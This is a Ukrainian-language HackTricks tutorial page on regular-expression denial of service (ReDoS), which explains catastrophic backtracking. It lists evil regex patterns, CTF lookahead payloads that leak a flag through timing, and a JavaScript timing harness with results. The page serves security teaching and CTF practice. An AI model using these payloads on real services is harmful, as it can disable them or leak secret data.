Regular expression Denial of Service - ReDoS

Деніал послуг через регулярні вирази - ReDoS

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Деніал послуг через регулярні вирази (ReDoS)

Деніал послуг через регулярні вирази (ReDoS) відбувається, коли хтось використовує слабкі місця у роботі регулярних виразів (спосіб пошуку та відповідності шаблонам у тексті). Іноді, коли використовуються регулярні вирази, вони можуть стати дуже повільними, особливо якщо шматок тексту, з яким вони працюють, стає більшим. Ця повільність може бути настільки поганою, що зростає дуже швидко навіть при невеликому збільшенні розміру тексту. Злоумисники можуть використовувати цю проблему, щоб змусити програму, яка використовує регулярні вирази, перестати працювати належним чином протягом тривалого часу.

Проблемний алгоритм наївних регулярних виразів

Перевірте деталі за посиланням https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Зловісні регулярні вирази

Зловісний шаблон регулярного виразу - це той, який може застрягти на створеному вході, спричиняючи DoS. Зловісні регулярні вирази зазвичай містять групування з повторенням та повторення або альтернативу з перекриттям всередині повтореної групи. Деякі приклади зловісних шаблонів включають:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} для x > 10

Усі ці вразливі до входу aaaaaaaaaaaaaaaaaaaaaaaa!.

Витік рядка через ReDoS

На CTF (або в програмі винагороди за виявлення помилок) можливо ви керуєте регулярним виразом, з яким збігається чутлива інформація (прапорець). Тоді, якщо може бути корисним зробити сторінку замороженою (з тайм-аутом або більш тривалим часом обробки), якщо регулярний вираз збігся і не збігся. Таким чином ви зможете ексфільтрувати рядок по символах:

  • У цьому пості ви можете знайти це правило ReDoS: ^(?=<flag>)((.*)*)*salt$

  • Приклад: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • У цьому описі ви можете знайти це: <flag>(((((((.*)*)*)*)*)*)*)!

  • У цьому описі він використовував: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Керування входом та регулярним виразом ReDoS

Наведені нижче приклади ReDoS, де ви керуєте як входом, так і регулярним виразом:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Інструменти

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated